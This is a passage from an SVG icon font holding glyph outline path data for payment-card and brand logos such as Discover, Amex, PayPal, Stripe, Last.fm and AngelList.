d="M482.9 37.7002c0 -6.7998 -4.60059 -11.7002 -11.2002 -11.7002c-6.7998 0 -11.2002 5.2002 -11.2002 11.7002s4.40039 11.7002 11.2002 11.7002c6.59961 0 11.2002 -5.2002 11.2002 -11.7002zM172.1 49.4004c6.5 0 10.8008 -5.2002 10.9004 -11.7002
c0 -6.7998 -4.40039 -11.7002 -10.9004 -11.7002c-7.09961 0 -11.1992 5.2002 -11.1992 11.7002s4.09961 11.7002 11.1992 11.7002zM289.6 49.7002c5.2002 0 8.7002 -3 9.60059 -8.7002h-19.1006c0.800781 5.2002 4.10059 8.7002 9.5 8.7002zM397.4 49.4004
c6.7998 0 11.1992 -5.2002 11.1992 -11.7002c0 -6.7998 -4.39941 -11.7002 -11.1992 -11.7002c-6.80078 0 -10.9004 5.2002 -10.9004 11.7002s4.09961 11.7002 10.9004 11.7002zM503.3 23.2998c0 -0.299805 0.299805 -0.5 0.299805 -1.09961
c0 -0.299805 -0.299805 -0.5 -0.299805 -1.10059c-0.299805 -0.299805 -0.299805 -0.5 -0.5 -0.799805c-0.299805 -0.299805 -0.5 -0.5 -1.09961 -0.5c-0.299805 -0.299805 -0.5 -0.299805 -1.10059 -0.299805c-0.299805 0 -0.5 0 -1.09961 0.299805
c-0.299805 0 -0.5 0.299805 -0.799805 0.5c-0.299805 0.299805 -0.5 0.5 -0.5 0.799805c-0.299805 0.5 -0.299805 0.800781 -0.299805 1.10059c0 0.5 0 0.799805 0.299805 1.09961c0 0.5 0.299805 0.799805 0.5 1.10059c0.299805 0.299805 0.5 0.299805 0.799805 0.5
c0.5 0.299805 0.799805 0.299805 1.09961 0.299805c0.5 0 0.800781 0 1.10059 -0.299805c0.5 -0.300781 0.799805 -0.300781 1.09961 -0.5c0.299805 -0.200195 0.200195 -0.600586 0.5 -1.10059zM501.1 21.9004c0.5 0 0.5 0.299805 0.800781 0.299805
c0.299805 0.299805 0.299805 0.5 0.299805 0.799805s0 0.5 -0.299805 0.799805c-0.300781 0 -0.5 0.299805 -1.10059 0.299805h-1.59961v-3.5h0.799805v1.40039h0.299805l1.10059 -1.40039h0.799805zM576 367v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48
v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM64 227.4c0 -76.5 62.0996 -138.5 138.5 -138.5c27.2002 0 53.9004 8.19922 76.5 23.0996c-72.9004 59.2998 -72.4004 171.2 0 230.5c-22.5996 15 -49.2998 23.0996 -76.5 23.0996
c-76.4004 0.100586 -138.5 -62 -138.5 -138.199zM288 118.6c70.5 55 70.2002 162.2 0 217.5c-70.2002 -55.2998 -70.5 -162.6 0 -217.5zM145.7 42.2998c0 8.7002 -5.7002 14.4004 -14.7002 14.7002c-4.59961 0 -9.5 -1.40039 -12.7998 -6.5
c-2.40039 4.09961 -6.5 6.5 -12.2002 6.5c-3.7998 0 -7.59961 -1.40039 -10.5996 -5.40039v4.40039h-8.2002v-36.7002h8.2002c0 18.9004 -2.5 30.2002 9 30.2002c10.1992 0 8.19922 -10.2002 8.19922 -30.2002h7.90039c0 18.2998 -2.5 30.2002 9 30.2002
c10.2002 0 8.2002 -10 8.2002 -30.2002h8.2002v23h-0.200195zM190.6 56h-7.89941v-4.40039c-2.7002 3.30078 -6.5 5.40039 -11.7002 5.40039c-10.2998 0 -18.2002 -8.2002 -18.2002 -19.2998c0 -11.2002 7.90039 -19.2998 18.2002 -19.2998
c5.2002 0 9 1.89941 11.7002 5.39941v-4.59961h7.89941v36.7998zM231.1 30.4004c0 15 -22.8994 8.19922 -22.8994 15.1992c0 5.7002 11.8994 4.80078 18.5 1.10059l3.2998 6.5c-9.40039 6.09961 -30.2002 6 -30.2002 -8.2002c0 -14.2998 22.9004 -8.2998 22.9004 -15
c0 -6.2998 -13.5 -5.7998 -20.7002 -0.799805l-3.5 -6.2998c11.2002 -7.60059 32.5996 -6 32.5996 7.5zM266.5 21.0996l-2.2002 6.80078c-3.7998 -2.10059 -12.2002 -4.40039 -12.2002 4.09961v16.5996h13.1006v7.40039h-13.1006v11.2002h-8.19922v-11.2002h-7.60059
v-7.2998h7.60059v-16.7002c0 -17.5996 17.2998 -14.4004 22.5996 -10.9004zM279.8 34.5h27.5c0 16.2002 -7.39941 22.5996 -17.3994 22.5996c-10.6006 0 -18.2002 -7.89941 -18.2002 -19.2998c0 -20.5 22.5996 -23.8994 33.7998 -14.2002l-3.7998 6
c-7.7998 -6.39941 -19.6006 -5.7998 -21.9004 4.90039zM338.9 56c-4.60059 2 -11.6006 1.7998 -15.2002 -4.40039v4.40039h-8.2002v-36.7002h8.2002v20.7002c0 11.5996 9.5 10.0996 12.7998 8.40039zM349.5 37.7002c0 11.3994 11.5996 15.0996 20.7002 8.39941l3.7998 6.5
c-11.5996 9.10059 -32.7002 4.10059 -32.7002 -15c0 -19.7998 22.4004 -23.7998 32.7002 -15l-3.7998 6.5c-9.2002 -6.5 -20.7002 -2.59961 -20.7002 8.60059zM416.2 56h-8.2002v-4.40039c-8.2998 11 -29.9004 4.80078 -29.9004 -13.8994
c0 -19.2002 22.4004 -24.7002 29.9004 -13.9004v-4.59961h8.2002v36.7998zM449.9 56c-2.40039 1.2002 -11 2.90039 -15.2002 -4.40039v4.40039h-7.90039v-36.7002h7.90039v20.7002c0 11 9 10.2998 12.7998 8.40039zM490.2 70.9004h-7.90039v-19.3008
c-8.2002 10.9004 -29.8994 5.10059 -29.8994 -13.8994c0 -19.4004 22.5 -24.6006 29.8994 -13.9004v-4.59961h7.90039v51.7002zM497.8 146v-4.59961h0.799805v4.59961h1.90039v0.799805h-4.59961v-0.799805h1.89941zM504.4 22.2002c0 0.5 0 1.09961 -0.300781 1.59961
c-0.299805 0.299805 -0.5 0.799805 -0.799805 1.10059c-0.299805 0.299805 -0.799805 0.5 -1.09961 0.799805c-0.5 0 -1.10059 0.299805 -1.60059 0.299805c-0.299805 0 -0.799805 -0.299805 -1.39941 -0.299805c-0.5 -0.299805 -0.799805 -0.5 -1.10059 -0.799805
c-0.5 -0.300781 -0.799805 -0.800781 -0.799805 -1.10059c-0.299805 -0.5 -0.299805 -1.09961 -0.299805 -1.59961c0 -0.299805 0 -0.799805 0.299805 -1.40039c0 -0.299805 0.299805 -0.799805 0.799805 -1.09961c0.300781 -0.299805 0.5 -0.5 1.10059 -0.799805
c0.5 -0.300781 1.09961 -0.300781 1.39941 -0.300781c0.5 0 1.10059 0 1.60059 0.300781c0.299805 0.299805 0.799805 0.5 1.09961 0.799805s0.5 0.799805 0.799805 1.09961c0.300781 0.600586 0.300781 1.10059 0.300781 1.40039zM507.6 146.9h-1.39941l-1.60059 -3.5
l-1.59961 3.5h-1.40039v-5.40039h0.800781v4.09961l1.59961 -3.5h1.09961l1.40039 3.5v-4.09961h1.09961v5.40039zM512 227.4c0 76.1992 -62.0996 138.3 -138.5 138.3c-27.2002 0 -53.9004 -8.2002 -76.5 -23.1006c72.0996 -59.2998 73.2002 -171.5 0 -230.5
c22.5996 -15 49.5 -23.0996 76.5 -23.0996c76.4004 -0.0996094 138.5 61.9004 138.5 138.4z" />
    <glyph glyph-name="cc-discover" unicode="&#xf1f2;" horiz-adv-x="576" 
d="M520.4 251.9c0 -8.40039 -5.5 -12.8008 -15.8008 -12.8008h-4.69922v24.9004h4.89941c10.1006 0 15.6006 -4.2002 15.6006 -12.0996zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480z
M483.9 277.1v-82h16v32.8008h2.19922l22.2002 -32.8008h19.6006l-25.8008 34.4004c12.1006 2.5 18.7002 10.5996 18.7002 23.2002c0 28.5 -30.2998 24.3994 -52.8994 24.3994zM428 277v-82h45.2998v13.7998h-29.2998v22.2002h28.2998v13.7998h-28.2998v18.2002h29.2998v14
h-45.2998zM359.3 277h-17.5l35 -84.2002h8.60059l35.5 84.2002h-17.5l-22.2002 -55.2002zM303.4 280c-24.6006 0 -44.6006 -19.9004 -44.6006 -44.5996c0 -24.6006 19.9004 -44.6006 44.6006 -44.6006c24.5996 0 44.5996 19.9004 44.5996 44.6006
c0 24.5996 -19.9004 44.5996 -44.5996 44.5996zM254.1 273.9c-30.1992 15 -63.2998 -6.80078 -63.2998 -38c0 -32.5 33.6006 -52.5 63.2998 -38.2002v19c-19.2998 -19.2998 -46.7998 -5.7998 -46.7998 19.2002c0 23.6992 26.7002 39.0996 46.7998 19v19zM156.9 207.6
c-7.60059 0 -13.8008 3.7002 -17.5 10.8008l-10.3008 -9.90039c17.8008 -26.0996 56.6006 -18.2002 56.6006 11.2998c0 13.1006 -5.40039 19 -23.6006 25.6006c-9.59961 3.39941 -12.2998 5.89941 -12.2998 10.2998c0 8.7002 14.5 14.0996 24.9004 2.5l8.39941 10.7998
c-19.0996 17.0996 -49.6992 8.90039 -49.6992 -14.2998c0 -11.2998 5.19922 -17.2002 20.1992 -22.7002c25.7002 -9.09961 14.7002 -24.4004 3.30078 -24.4004zM55.4004 195c30.8994 0 44.0996 22.4004 44.0996 40.9004c0 24.0996 -18 41.0996 -44.0996 41.0996h-23.4004
v-82h23.4004zM122.9 195v82h-16v-82h16zM544 15v145c-33.2998 -20.7998 -226.4 -124.4 -416 -160h401c8.2002 0 15 6.7998 15 15zM74.0996 256.4c5.7002 -5 8.90039 -12.6006 8.90039 -20.5c0 -7.90039 -3.2002 -15.5 -8.90039 -20.7002
c-4.89941 -4.40039 -11.5996 -6.40039 -21.8994 -6.40039h-4.2002v54.2002h4.2002c10.2998 0 16.7002 -1.7002 21.8994 -6.59961z" />
    <glyph glyph-name="cc-amex" unicode="&#xf1f3;" horiz-adv-x="576" 
d="M325.1 280.2c0.100586 -8 -4.2998 -15.7002 -11.6992 -18.7002c9.5 -3.2998 11 -9.2002 11 -18.4004v-13.5h-16.6006c-0.299805 14.8008 3.60059 25.1006 -14.7998 25.1006h-18v-25.1006h-16.4004v69.3008l39.1006 -0.300781c13.2998 0 27.3994 -2 27.3994 -18.3994z
M295.7 268.9c5.7002 0 11 1.2998 11 7.89941c0 6.40039 -5.60059 7.40039 -10.7002 7.40039h-21v-15.2998h20.7002zM279 179.4c15.5996 0 27.9004 -5.40039 27.9004 -22.7002c0 -27.9004 -30.4004 -23.2998 -49.3008 -23.2998l-0.0996094 -23.3008h-32.2002l-20.3994 23
l-21.3008 -23h-65.3994l0.0996094 69.3008h66.5l20.5 -22.8008l21 22.8008h52.7002zM175.2 124.7l19 20.2002l-17.9004 20.1992h-41.7002v-12.5h36.3008v-14.0996h-36.3008v-13.7998h40.6006zM241 116.5v55.5l-25.2998 -27.4004zM278.8 147.5
c5.90039 0 10.5 2.7998 10.5 9.2002c0 6.09961 -4.59961 8.39941 -10.2002 8.39941h-21.5v-17.5996h21.2002zM247.2 284.2h-38.9004v-12.5h37.7998v-14.1006h-37.7998v-13.7998h38.9004v-14.2998h-55.5v69.2998h55.5v-14.5996zM576 192.6h-0.200195h0.200195zM381.4 160.7
c-0.100586 -7.60059 -4.2002 -15.2998 -11.9004 -18.4004c9.2002 -3.2998 11 -9.5 11 -18.3994l-0.0996094 -13.8008h-16.6006l0.100586 11.5c0 11.8008 -3.80078 13.8008 -14.8008 13.8008h-17.5996l-0.0996094 -25.3008h-16.6006l0.100586 69.3008h39.3994
c13 0 27.1006 -2.30078 27.1006 -18.7002zM352.2 149.5c5.59961 0 11 1.2998 11 8.2002c0 6.39941 -5.60059 7.39941 -10.7002 7.39941h-21v-15.5996h20.7002zM179.4 229.5h-16.8008v54.2002l-24 -54.2002h-14.5996l-24 54.2002v-54.2002h-33.7998l-6.40039 15.2998h-34.5
l-6.39941 -15.2998h-17.9004l29.7002 69.2998h24.5l28.0996 -65.7002v65.7002h27.1006l21.6992 -47l19.7002 47h27.6006v-69.2998zM31.2002 259.2h22.7002l-11.5 27.5996zM508.6 100.3c34.8008 0 54.8008 -2.2002 67.5 6.10059v-90.4004c0 -26.5 -21.5 -48 -48 -48h-480.1
c-26.5 0 -48 21.5 -48 48v203.7h26.5996c4.2002 10.0996 2.2002 5.2998 6.40039 15.2998h19.2002c4.2002 -10 2.2002 -5.2002 6.39941 -15.2998h52.9004v11.3994c2.2002 -5 1.09961 -2.5 5.09961 -11.3994h29.5c2.40039 5.5 2.60059 5.7998 5.10059 11.3994v-11.3994h135.5
v25.0996c6.39941 0 8 0.100586 9.7998 -0.200195c0 0 -0.200195 -10.8994 0.0996094 -24.7998h66.5v8.90039c7.40039 -5.90039 17.4004 -8.90039 29.7002 -8.90039h26.7998c4.2002 10.1006 2.2002 5.2998 6.40039 15.2998h19c6.5 -15 0.200195 -0.5 6.59961 -15.2998
h52.8008v21.9004c11.7998 -19.7002 7.7998 -12.9004 13.1992 -21.9004h41.6006v92h-39.9004v-18.3994c-12.2002 20.1992 -6.2998 10.3994 -11.2002 18.3994h-43.2998v-20.5996c-6.2002 14.5996 -4.59961 10.7998 -8.7998 20.5996h-32.4004
c-0.399414 0 -2.2998 -0.200195 -2.2998 0.299805h-27.5996c-12.7998 0 -23.1006 -3.19922 -30.7002 -9.2998v9.2998h-39.9004v-5.2998c-10.7998 6.10059 -20.6992 5.10059 -64.3994 5.2998c-0.100586 0 -11.6006 0.100586 -11.6006 0h-103
c-2.5 -6.09961 -6.7998 -16.3994 -12.5996 -30c-2.7998 6 -11 23.8008 -13.9004 30h-46v-21.0996c-7.39941 17.4004 -4.69922 11 -9 21.0996h-39.6992c-3.40039 -7.89941 -13.7002 -32 -23.1006 -53.8994v109.8c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48v-175.4
c-37.7002 0.200195 -44 0.900391 -54.2998 -5v5c-45.2998 0 -53.5 1.7002 -64.9004 -5.19922v5.19922h-78.1992v-5.09961c-11.4004 6.5 -21.4004 5.09961 -75.7002 5.09961v-5.59961c-6.2998 3.7002 -14.5 5.59961 -24.2998 5.59961h-58
c-3.5 -3.7998 -12.5 -13.6992 -15.7002 -17.1992c-12.7002 14.0996 -10.5 11.5996 -15.5 17.1992h-83.1006v-92.2998h82c3.30078 3.5 12.9004 13.9004 16.1006 17.4004c12.7002 -14.2998 10.2998 -11.7002 15.3994 -17.4004h48.9004
c0 14.7002 0.0996094 8.2998 0.0996094 23c11.5 -0.200195 24.3008 0.200195 34.3008 6.2002c0 -13.9004 -0.100586 -17.0996 -0.100586 -29.2002h39.6006c0 18.5 0.0996094 7.40039 0.0996094 25.2998c6.2002 0 7.7002 0 9.40039 -0.0996094
c0.0996094 -1.2998 0 0 0 -25.2002c152.8 0 145.899 -1.09961 156.699 4.5v-4.5zM544.9 164.8c-4.60059 0 -9.2002 -0.700195 -9.2002 -6.5c0 -12.2002 28.7998 0.299805 39.2998 -13.5v-25.7998c-4.90039 -7.09961 -14.0996 -8.90039 -22.5 -8.90039h-32l0.0996094 14.8008
h32c4.10059 0 8.40039 1.2998 8.40039 6.39941c0 14.6006 -42.7002 -5.59961 -42.7002 27.4004c0 14.0996 11 20.7002 23.7998 20.7002h32.9004v-14.6006h-30.0996zM487.9 125c4.09961 0 8.69922 1 8.7998 6.40039c0 14.8994 -42.7002 -5.60059 -42.7002 27.3994
c0 14.1006 10.7002 20.7002 23.5 20.7002h33.2002v-14.5996h-30.4004c-4.2998 0 -9.2002 -0.800781 -9.2002 -6.40039c0 -15.0996 42.9004 6.90039 42.9004 -26.2998c0 -16.4004 -11.4004 -22 -26.2002 -22h-32.2002l0.100586 14.7998h32.2002zM445.7 165.1h-38.5v-12.5
h37.7998v-14.0996h-37.9004v-13.7998l38.6006 -0.299805l-0.100586 -14.3008h-55.1992l0.0996094 69.3008h55.2002v-14.3008zM389.4 273.2c0.299805 0.299805 1.69922 1 7.2998 1c1 0 2 -0.100586 3.09961 -0.100586l-7.2998 -16.8994
c-2.2998 0 -3.2002 0.399414 -3.40039 0.5c-0.199219 0.200195 -1.09961 1.89941 -1.09961 7.89941c0 5.40039 1.09961 7.40039 1.40039 7.60059zM409.8 283.7h-0.0996094h0.0996094zM393.6 298.9h16.1006v-15.2002c-17.4004 0.299805 -33.1006 4.09961 -33.1006 -19.7002
c0 -11.7998 2.80078 -19.9004 16.1006 -19.9004h7.39941l23.5 54.5h24.8008l27.8994 -65.3994v65.3994h25.2998l29.1006 -48.0996v48.0996h16.8994v-69h-23.5996l-31.2002 51.9004v-51.9004h-33.7002l-6.59961 15.3008h-34.2998l-6.40039 -15.3008h-19.2002
c-22.7998 0 -33 11.8008 -33 34c0 23.3008 10.5 35.3008 34 35.3008zM435.7 286.8l-11.6006 -27.5996h22.8008zM334.6 298.8h16.9004v-69.2998h-16.9004v69.2998z" />
    <glyph glyph-name="cc-paypal" unicode="&#xf1f4;" horiz-adv-x="576" 
d="M186.3 189.8c0 -12.2002 -9.7002 -21.5 -22 -21.5c-9.2002 0 -16 5.2002 -16 15c0 12.2002 9.5 22 21.7002 22c9.2998 0 16.2998 -5.7002 16.2998 -15.5zM80.5 238.3c11.2998 0 19.7998 -1.5 17.5 -14.8994c-2 -12.7002 -10.5 -14.2002 -21.5 -14.2002l-8.2002 -0.299805
l4.2998 26.6992c0.200195 1.7002 1.7002 2.7002 3.2002 2.7002h4.7002zM364.5 238.3c8.5 0 18 -0.5 18.0996 -11.0996c0 -15 -9 -18 -22 -18l-8 -0.299805l4.2002 26.6992c0.200195 1.7002 1.40039 2.7002 3.2002 2.7002h4.5zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480
c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM128.3 232.6c0 21 -16.2002 28 -34.7002 28h-40c-2.5 0 -5 -2 -5.19922 -4.69922l-16.4004 -102.101c-0.299805 -2 1.2002 -4 3.2002 -4h19c2.7002 0 5.2002 2.90039 5.5 5.7002l4.5 26.5996
c1 7.2002 13.2002 4.7002 18 4.7002c28.5996 0 46.0996 17 46.0996 45.7998zM212.5 223.8h-19c-3.7998 0 -4 -5.5 -4.2002 -8.2002c-5.7998 8.5 -14.2002 10 -23.7002 10c-24.5 0 -43.1992 -21.5 -43.1992 -45.1992c0 -19.5 12.1992 -32.2002 31.6992 -32.2002
c9 0 20.2002 4.89941 26.5 11.8994c-0.5 -1.5 -1 -4.69922 -1 -6.19922c0 -2.30078 1 -4 3.2002 -4h17.2002c2.7002 0 5 2.89941 5.5 5.69922l10.2002 64.3008c0.299805 1.89941 -1.2002 3.89941 -3.2002 3.89941zM253 125.9l63.7002 92.5996c0.5 0.5 0.5 1 0.5 1.7002
c0 1.7002 -1.5 3.5 -3.2002 3.5h-19.2002c-1.7002 0 -3.5 -1 -4.5 -2.5l-26.5 -39l-11 37.5c-0.799805 2.2002 -3 4 -5.5 4h-18.7002c-1.69922 0 -3.19922 -1.7998 -3.19922 -3.5c0 -1.2002 19.5 -56.7998 21.1992 -62.1006c-2.69922 -3.7998 -20.5 -28.5996 -20.5 -31.5996
c0 -1.7998 1.5 -3.2002 3.2002 -3.2002h19.2002c1.7998 0.100586 3.5 1.10059 4.5 2.60059zM412.3 232.6c0 21 -16.2002 28 -34.7002 28h-39.6992c-2.7002 0 -5.2002 -2 -5.5 -4.69922l-16.2002 -102c-0.200195 -2 1.2998 -4 3.2002 -4h20.5c2 0 3.5 1.5 4 3.19922l4.5 29
c1 7.2002 13.1992 4.7002 18 4.7002c28.3994 0 45.8994 17 45.8994 45.7998zM496.5 223.8h-19c-3.7998 0 -4 -5.5 -4.2998 -8.2002c-5.5 8.5 -14 10 -23.7002 10c-24.5 0 -43.2002 -21.5 -43.2002 -45.1992c0 -19.5 12.2002 -32.2002 31.7002 -32.2002
c9.2998 0 20.5 4.89941 26.5 11.8994c-0.299805 -1.5 -1 -4.69922 -1 -6.19922c0 -2.30078 1 -4 3.2002 -4h17.2998c2.7002 0 5 2.89941 5.5 5.69922l10.2002 64.3008c0.299805 1.89941 -1.2002 3.89941 -3.2002 3.89941zM544 257.1c0 2 -1.5 3.5 -3.2002 3.5h-18.5
c-1.5 0 -3 -1.19922 -3.2002 -2.69922l-16.1992 -104l-0.300781 -0.5c0 -1.80078 1.5 -3.5 3.5 -3.5h16.5c2.5 0 5 2.89941 5.2002 5.69922l16.2002 101.2v0.299805zM454 205.3c9.2998 0 16.2998 -5.7002 16.2002 -15.5c0 -12.2998 -9.7002 -21.5 -21.7002 -21.5
c-9.2002 0 -16.2002 5.2998 -16.2002 15c0 12.2998 9.5 22 21.7002 22z" />
    <glyph glyph-name="cc-stripe" unicode="&#xf1f5;" horiz-adv-x="576" 
d="M492.4 227.2c8.69922 0 18 -6.7002 18 -22.7002h-36.7002c0 16 9.7998 22.7002 18.7002 22.7002zM375 224.6c12.9004 0.100586 21.9004 -14.5 21.9004 -33.0996c0 -19.0996 -8.80078 -33.4004 -21.9004 -33.4004c-8.2998 0 -13.2998 3 -16.7998 6.7002l-0.200195 52.7998
c3.7002 4.10059 8.7998 7 17 7zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM122.2 166.9c0 42.2998 -54.2998 34.6992 -54.2998 50.6992c0 5.5 4.59961 7.7002 12.0996 7.7002
c10.7998 0 24.5 -3.2998 35.2998 -9.09961v33.3994c-11.7998 4.7002 -23.5 6.5 -35.2998 6.5c-28.7998 0 -48 -15 -48 -40.1992c0 -39.3008 54 -32.9004 54 -49.9004c0 -6.59961 -5.7002 -8.7002 -13.5996 -8.7002c-11.8008 0 -26.9004 4.90039 -38.9004 11.2998v-33.8994
c13.2002 -5.7002 26.5996 -8.10059 38.7998 -8.10059c29.6006 0.200195 49.9004 14.7002 49.9004 40.3008zM191 223.5v30.2998h-26.9004v30.7998l-34.6992 -7.39941l-0.200195 -113.9c0 -21 15.7998 -36.5 36.8994 -36.5c11.6006 0 20.2002 2.10059 24.9004 4.7002v28.9004
c-4.5 -1.80078 -27 -8.30078 -27 12.5996v50.5h27zM265 221.1v32.7002h-0.0996094c-4.7002 1.7002 -21.3008 4.7998 -29.6006 -10.5l-2.2002 10.5h-30.6992v-124.5h35.5v84.4004c8.39941 11 22.5996 8.89941 27.0996 7.39941zM309.1 129.3v124.5h-35.6992v-124.5h35.6992z
M309.1 272.2v28.8994l-35.6992 -7.59961v-28.9004zM383.2 126.7c25.3994 0.0996094 48.5996 20.5 48.5996 65.5996c0 41.2998 -23.5 63.7998 -48.3994 63.7998c-13.9004 0 -22.9004 -6.59961 -27.8008 -11.0996l-1.7998 8.7998h-31.2998v-165.8l35.5 7.5l0.0996094 40.2002
c5.10059 -3.7002 12.7002 -9 25.1006 -9zM543.6 178.2c0.100586 2 0.400391 9.39941 0.400391 12.8994c0 36.4004 -17.5996 65.1006 -51.2998 65.1006c-33.7998 0 -54.2998 -28.7002 -54.2998 -64.9004c0 -42.7998 24.1992 -64.5 58.7998 -64.5
c17 0 29.7002 3.90039 39.3994 9.2002v28.5996c-9.69922 -4.89941 -20.7998 -7.89941 -34.8994 -7.89941c-13.7998 0 -26 4.89941 -27.6006 21.5h69.5z" />
    <glyph glyph-name="lastfm" unicode="&#xf202;" horiz-adv-x="512" 
d="M225.8 80.9004c0 0 -31.7002 -31.1006 -97.8994 -31.1006c-82.2002 0 -127.9 48.1006 -127.9 137.2c0 92.7002 45.7002 147.2 131.8 147.2c117.7 0 129.3 -66.2002 161.3 -163c14 -42.7998 38.7002 -73.9004 97.9004 -73.9004c39.9004 0 61 8.7998 61 30.5
c0 31.9004 -34.9004 35.1006 -79.7998 45.7002c-48.6006 11.7002 -68 36.9004 -68 76.7998c0 64 51.5996 83.9004 104.399 83.9004c59.8008 0 96.2002 -21.7002 100.9 -74.5l-58.5996 -7c-2.30078 25.2002 -17.5 35.7998 -45.7002 35.7998
c-25.7998 0 -41.6006 -11.7998 -41.6006 -31.7002c0 -17.5996 7.60059 -28.0996 33.4004 -34c52.2998 -11.5 115 -19.2002 115 -92.0996c0 -58.6006 -49.2998 -80.9004 -122 -80.9004c-101.4 0 -136.6 45.7002 -155.4 102.601
c-26.0996 81.5996 -34.3994 134.899 -100.899 134.899c-35.7002 0 -72.1006 -25.7998 -72.1006 -97.8994c0 -56.3008 28.7002 -91.5 69.2002 -91.5c45.7002 0 76.2002 34 76.2002 34z" />
    <glyph glyph-name="lastfm-square" unicode="&#xf203;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM307.8 103.1c45.4004 0 76.2002 13.9004 76.1006 50.6006c0 45.5 -39.1006 50.3994 -71.8008 57.5
c-16.0996 3.7002 -20.8994 10.2998 -20.8994 21.2998c0 12.5 9.89941 19.7998 26 19.7998c17.5996 0 27.0996 -6.59961 28.5996 -22.3994l36.7002 4.39941c-2.90039 33 -25.5996 46.6006 -63 46.6006c-32.9004 0 -65.2002 -12.4004 -65.2002 -52.4004
c0 -24.9004 12.1006 -40.7002 42.5 -48c28.1006 -6.59961 49.9004 -8.7002 49.9004 -28.5996c0 -13.6006 -13.2002 -19.1006 -38.1006 -19.1006c-37 0 -52.3994 19.4004 -61.1992 46.2002c-20 60.5 -27.3008 101.9 -100.801 101.9c-53.8994 0 -82.5 -34.1006 -82.5 -92
c0 -55.7002 28.6006 -85.8008 79.9004 -85.8008c41.4004 0 61.2002 19.4004 61.2002 19.4004l-11.7002 31.9004s-19 -21.3008 -47.5996 -21.3008c-25.3008 0 -43.3008 22 -43.3008 57.2002c0 45.1006 22.7002 61.2002 45.1006 61.2002c41.5 0 46.7002 -33.2998 63 -84.2998
c11.7002 -35.5 33.7002 -64.1006 97.0996 -64.1006z" />
    <glyph glyph-name="ioxhost" unicode="&#xf208;" horiz-adv-x="640" 
d="M616 288c13.2998 0 24 -10.7002 24 -24c0 -13.2002 -10.7002 -24 -24 -24h-52.7002c3.10059 -15.5 4.7002 -31.5996 4.7002 -48c0 -137 -111 -248 -248 -248c-102.9 0 -191.2 62.7002 -228.7 152h-67.2998c-13.2998 0 -24 10.7002 -24 24c0 13.2002 10.7002 24 24 24
h52.7002c-3.10059 15.5 -4.7002 31.5996 -4.7002 48c0 137 111 248 248 248c102.9 0 191.2 -62.7002 228.7 -152h67.2998zM520 192c0 16.5996 -2 32.5996 -5.7998 48h-298.2c-13.2998 0 -24 10.7002 -24 24c0 13.2002 10.7002 24 24 24h279.5
c-33.9004 62 -99.7998 104 -175.5 104c-110.5 0 -200 -89.5 -200 -200c0 -16.5996 2 -32.5996 5.7998 -48h298.2c13.2998 0 24 -10.7002 24 -24c0 -13.2002 -10.7002 -24 -24 -24h-279.5c33.9004 -62 99.7998 -104 175.5 -104c110.5 0 200 89.5 200 200zM216 216h208
c13.2998 0 24 -10.7002 24 -24c0 -13.2002 -10.7002 -24 -24 -24h-208c-13.2998 0 -24 10.7002 -24 24c0 13.2002 10.7002 24 24 24z" />
    <glyph glyph-name="angellist" unicode="&#xf209;" 
d="M347.1 232.6c48 -11.6992 54.9004 -50.5996 54.9004 -93.6992c0 -114.301 -73.4004 -202.9 -191.4 -202.9c-96.1992 0 -164.6 76.4004 -164.5 148.6c0 37.1006 14.2002 61.7002 51.1006 71.7002c-3.10059 8.2998 -8 20.7998 -8 29.7002
c0 23.5 24.8994 52.5996 48.2998 52.5996c6.90039 0 13.7002 -2 20 -4.2998c-12.4004 35.2002 -46.5996 126.7 -46.5996 162c0 28.7998 14.5996 51.7002 45.6992 51.7002c40 0 85.4004 -144 95.1006 -172.5c12.5 31.4004 52.5 163.1 97.0996 163.1
c28 0 43.7002 -22.2998 43.7002 -48.8994c0 -30.2002 -33.7002 -124.5 -45.4004 -157.101zM311.7 340l-33.1006 -93.7002l34 -6c8.5 23.4004 47.1006 128.9 47.1006 148c0 7.10059 -2.2998 16 -10.9004 16c-16 0 -33.0996 -52 -37.0996 -64.2998zM142.3 399.7
c0 -29.1006 34.6006 -120 45.5 -148.8c7.7002 4.39941 19.7998 2.69922 35.4004 1.39941l-34.6006 100.3c-31.7998 92.8008 -46.2998 59 -46.2998 47.1006zM140 204c-7.7002 0 -20.2998 -13.4004 -20.4004 -21.0996c0 -20.8008 56 -97.7002 76.9004 -97.7002
c5.7002 0 10.5996 6.2998 10.5996 11.3994c0 12.8008 -37.7998 107.4 -67.0996 107.4zM324.3 17.7002c55.2998 61.5 49.1006 158.6 31 174.7c-24 21.0996 -106 29.0996 -138.3 29.0996c-17.2998 0 -17.4004 -6.40039 -17.4004 -13.0996
c0 -43.7002 92.9004 -39.7002 120.601 -39.7002c11.2002 0 15.7998 -9.90039 16.8994 -21.1006c-7.39941 -7.39941 -17.6992 -11.6992 -27.3994 -15.3994c-9.40039 -3.40039 -19.1006 -7.10059 -27.1006 -13.1006c-22 -16 -43.6992 -43.3994 -43.6992 -71.6992
c0 -17.7002 10.5996 -32.9004 10.5996 -50.3008c0 -0.299805 -2 -6.5 -2 -7.39941c-32.5996 2.2998 -40.5996 34.5996 -41.7002 61.7002c-3.39941 -0.900391 -8 -0.600586 -11.7002 -0.600586c5.10059 -17.7998 -11.8994 -42 -38 -42
c-37.7998 0 -88 57.2002 -58.2998 86.9004c28.7002 -35.9004 35 -51.4004 51.1006 -51.4004c4 0 11.6992 3.40039 11.6992 8.2998c0 12.8008 -42.8994 73.1006 -54.2998 73.1006c-16.7998 0 -37.7002 -24.9004 -20.5996 -68.2998
